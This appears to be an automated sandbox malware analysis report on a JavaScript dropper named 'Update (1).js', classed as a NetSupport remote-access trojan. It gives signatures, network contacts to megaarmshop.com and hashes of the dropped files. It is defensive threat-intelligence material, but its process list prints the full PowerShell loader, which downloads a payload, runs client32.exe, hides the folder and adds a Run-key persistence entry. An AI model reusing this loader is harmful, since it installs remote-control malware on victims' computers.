Malware Analysis Report

2024-10-19 01:38

Sample ID 241010-v4cbysxfke
Target Update (1).js
SHA256 cdd9798b8cfc59617f38456b48dd5a6d0a2bb793dfd59f1684175a1a8ba48ab6
Tags
execution netsupport discovery persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cdd9798b8cfc59617f38456b48dd5a6d0a2bb793dfd59f1684175a1a8ba48ab6

Threat Level: Known bad

The file Update (1).js was found to be: Known bad.

Malicious Activity Summary

execution netsupport discovery persistence rat

NetSupport

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Adds Run key to start application

Command and Scripting Interpreter: JavaScript

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-10-10 17:32

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-10-10 17:32

Reported

2024-10-10 17:34

Platform

win7-20240903-en

Max time kernel

121s

Max time network

121s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"

Network

Country Destination Domain Proto
US 8.8.8.8:53 megaarmshop.com udp
US 185.33.87.223:443 megaarmshop.com tcp
US 185.33.87.223:443 megaarmshop.com tcp
US 185.33.87.223:443 megaarmshop.com tcp
US 185.33.87.223:443 megaarmshop.com tcp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-10-10 17:32

Reported

2024-10-10 17:33

Platform

win10v2004-20241007-en

Max time kernel

42s

Max time network

43s

Command Line

wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\system32\wscript.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UKYRELYGCF = "C:\\Users\\Admin\\AppData\\Roaming\\VZFWKDWB-3\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\Update (1).js"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UOEFHK='https://megaarmshop.com/trade/d.php?7609';$IUVDPZTOO=(New-Object System.Net.WebClient).DownloadString($UOEFHK);$AJDHU=[System.Convert]::FromBase64String($IUVDPZTOO);$asd = Get-Random -Minimum -5 -Maximum 12; $JUEIHZ=[System.Environment]::GetFolderPath('ApplicationData')+'\VZFWKDWB'+$asd;if (!(Test-Path $JUEIHZ -PathType Container)) { New-Item -Path $JUEIHZ -ItemType Directory };$p=Join-Path $JUEIHZ 'CXCC.zip';[System.IO.File]::WriteAllBytes($p,$AJDHU);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JUEIHZ)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $JUEIHZ 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $JUEIHZ -Force; $fd.attributes='Hidden';$s=$JUEIHZ+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='UKYRELYGCF';$ASDASD='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $ASDASD;

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe

"C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 megaarmshop.com udp
US 185.33.87.223:443 megaarmshop.com tcp
US 8.8.8.8:53 r11.o.lencr.org udp
GB 2.23.210.82:80 r11.o.lencr.org tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 223.87.33.185.in-addr.arpa udp
US 8.8.8.8:53 40.13.222.173.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 82.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 185.33.87.223:443 megaarmshop.com tcp
US 5.181.159.137:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 137.159.181.5.in-addr.arpa udp
US 8.8.8.8:53 231.1.26.104.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp

Files

memory/1028-8-0x00007FFE848D3000-0x00007FFE848D5000-memory.dmp

memory/1028-14-0x0000011D7AE30000-0x0000011D7AE52000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xhmuxmt.f0r.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1028-16-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp

memory/1028-20-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp

memory/1028-22-0x0000011D60CA0000-0x0000011D60CAA000-memory.dmp

memory/1028-23-0x0000011D7B2D0000-0x0000011D7B2E2000-memory.dmp

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\PCICL32.dll

MD5 d3d39180e85700f72aaae25e40c125ff
SHA1 f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA256 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\pcichek.dll

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\MSVCR100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

memory/1028-90-0x00007FFE848D0000-0x00007FFE85391000-memory.dmp

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\NSM.LIC

MD5 e9609072de9c29dc1963be208948ba44
SHA1 03bbe27d0d1ba651ff43363587d3d6d2e170060f
SHA256 dc6a52ad6d637eb407cc060e98dfeedcca1167e7f62688fb1c18580dd1d05747
SHA512 f0e26aa63b0c7f1b31074b9d6eef88d0cfbc467f86b12205cb539a45b0352e77ce2f99f29baeab58960a197714e72289744143ba17975699d058fe75d978dfd0

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\client32.ini

MD5 15221731b8c78d255535a98220f55385
SHA1 917cba1d62dc16241700ac2027a67b62dbd03450
SHA256 b23705ddaf4dd0da82ea5c70f7b406f13529b624dfcf8ec2c9099c07de5b997d
SHA512 0883c5b8bd9865fa31614f7c8054144323dd4fc5acd73f7e1dec1782b1bdb2da7f7af4aa9bba76847eee42a566c5843b2f021accab477805babab89db6dccf03

C:\Users\Admin\AppData\Roaming\VZFWKDWB-3\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a